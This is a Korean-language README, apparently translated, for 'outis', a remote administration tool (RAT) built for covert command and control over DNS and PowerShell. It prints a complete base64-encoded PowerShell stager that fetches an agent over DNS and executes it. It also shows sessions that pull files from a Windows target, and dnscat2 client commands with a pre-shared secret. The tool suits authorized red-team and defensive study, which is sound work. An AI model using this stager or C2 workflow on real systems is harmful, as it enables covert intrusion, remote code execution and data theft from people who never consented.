syss-research/outisoutis는 맞춤형 원격 관리 도구(RAT) 또는 그와 유사한 것입니다. 다양한 전송 방식(DNS 등)과 플랫폼(Powershell 등)을 지원하도록 제작되었습니다.
outis는 맞춤형 원격 관리 도구(RAT) 또는 그와 비슷한 것입니다. Meterpreter나 Empire-Agent를 생각하면 됩니다. 하지만 이 도구의 초점은 익스플로잇 툴킷(익스플로잇은 없음)이나 대상의 지속적인 관리가 아닙니다. 초점은 서버와 대상 시스템 간에 통신하고, 다양한 방법과 플랫폼을 사용하여 파일을 전송하고, 소켓을 공유하고, 셸을 실행하는 등의 작업을 수행하는 것입니다.
호메로스의 오디세이에 나오는 키클롭스 폴리페모스는 이름 확인에 문제가 있었습니다. 그가 오디세우스의 이름을 물었을 때, 해커는 자신의 이름이 고대 그리스어로 "아무도 아님"을 의미하는 "Outis"라고 말했습니다. 따라서 폴리페모스가 나중에 아무도 자신을 죽이려 한다고 외쳤을 때, 이상하게도 아무도 도우러 오지 않았습니다.
이 멋진 고전 이야기를 기억해 준 Marcel에게 감사드립니다.
Archlinux 사용자는 다음 패키지를 설치할 수 있습니다:
다른 배포판에서는 이름이 다를 수 있습니다. 예를 들어 crypto라는 모듈과 pycrypto라는 모듈이 있습니다. 우리는 후자가 필요합니다.
또한, 구버전은 문제를 일으킬 수 있습니다:
$ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'
Python 가상 환경을 아주 쉽게 설정할 수 있습니다:
$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl
결과적으로 다음 패키지 목록이 생성되며, 이는 제게 잘 작동하는 것으로 보입니다:
$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0
이 git을 서브모듈도 함께 복제하기 위해 재귀 플래그를 사용하여 복제하세요:
git clone --recursive ...
핸들러는 Python 3에서 실행됩니다. 종속성을 설치하고 실행하세요. 그러면 스테이저, 에이전트 및 기타 모든 것을 생성해 줍니다.
루트 권한 없이 낮은 포트를 바인딩하려면 기능 래퍼(capability wrapper) 사용을 고려하세요.
스테이지된 DNS 전송과 POWERSHELL 플랫폼을 사용하여 파일을 다운로드하는 방법은 다음과 같습니다:
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Options for the Handler:
Name Value Required Description
----------------- ---------- -------- -----------------------------------------------------------------
TRANSPORT DNS True Communication way between agent and handler (Options: REVERSETCP,
DNS)
CHANNELENCRYPTION TLS True Encryption Protocol in the transport (Options: NONE, TLS)
PLATFORM POWERSHELL True Platform of agent code (Options: POWERSHELL)
PROGRESSBAR TRUE True Display a progressbar for uploading / downloading? (only if not
debugging the relevant module) (Options: TRUE, FALSE)
[+] Options for the TRANSPORT module DNS:
Name Value Required Description
--------- ----------- -------- ------------------------------------------------------------------------
ZONE zfs.sy.gs True DNS Zone for handling requests
LHOST 0.0.0.0 True Interface IP to listen on
LPORT 53 True UDP-Port to listen on for DNS server
DNSTYPE TXT True DNS type to use for the connection (stager only, the agent will
enumerate all supported types on its own) (Options: TXT, A)
DNSSERVER False IP address of DNS server to connect for all queries
[+] Options for the PLATFORM module POWERSHELL:
Name Value Required Description
-------------------- -------------------------- -------- ----------------------------------------------
STAGED TRUE True Is the communication setup staged or not?
(Options: TRUE, FALSE)
STAGEENCODING TRUE True Should we send the staged agent in an encoded
form (obscurity, not for security!) (Options:
TRUE, FALSE)
STAGEAUTHENTICATION TRUE True Should the stager verify the agent code
before executing (RSA signature verification
with certificate pinning) (Options: TRUE,
FALSE)
STAGECERTIFICATEFILE $TOOLPATH/data/outis.pem False File path of a PEM with both RSA key and
certificate to sign and verify staged agent
with (you can generate a selfsigned cert by
using the script gencert.sh initially)
AGENTTYPE DEFAULT True Defines which agent should be used (the
default outis agent for this plattform, or
some third party software we support)
(Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)
TIMEOUT 9 True Number of seconds to wait for each request
(currently only supported by DNS stagers)
RETRIES 2 True Retry each request for this number of times
(currently only supported by DNS stagers)
AGENTDEBUG TRUE True Should the agent print and log debug messages
(Options: TRUE, FALSE)
outis> generatestager
[+] Use the following stager code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA
B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA
LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH
AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl
AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A
YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk
ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (34332 bytes)...
100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16
[+] Staging done
[+] Waiting for connection and TLS handshake...
[+] Initial connection with new agent started
[+] Upgrade to TLS done
outis session> [+] AGENT: Hello from Agent
outis session> download C:\testfile.txt /tmp/out.txt
[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt
[+] agent reports a size of 3295 bytes for channel 1
100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00
[+] wrote 3295 bytes to file /tmp/out.txt
outis session> exit
Do you really want to exit the session and close the connection [y/N]? y
outis> exit
또는 진짜 작업에는 dnscat2를 사용하고 스테이징만 outis로 하고 싶을 수도 있습니다:
$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (406569 bytes)...
100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17
[+] Staging done
[+] Starting dnscat2 to handle the real connection
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = zfs.sy.gs]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2> sessions
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]
1 :: command (feynman-win7) [encrypted and verified] [*]
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Attempting to download c:/testfile.txt to /tmp/out.txt
Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!
command (feynman-win7) 1> exit
Input thread is over
이 프로젝트는 다음에서 영감을 받았으며 (일부 코드를 무단으로 가져왔습니다):
Empire:
Metasploit:
ReflectiveDLLInjection:
p0wnedShell:
dnscat2:
dnsftp
사용에 따른 책임은 본인에게 있습니다. 관련된 모든 사람의 완전한 동의 없이 사용하지 마십시오. 교육 목적으로만 사용하십시오.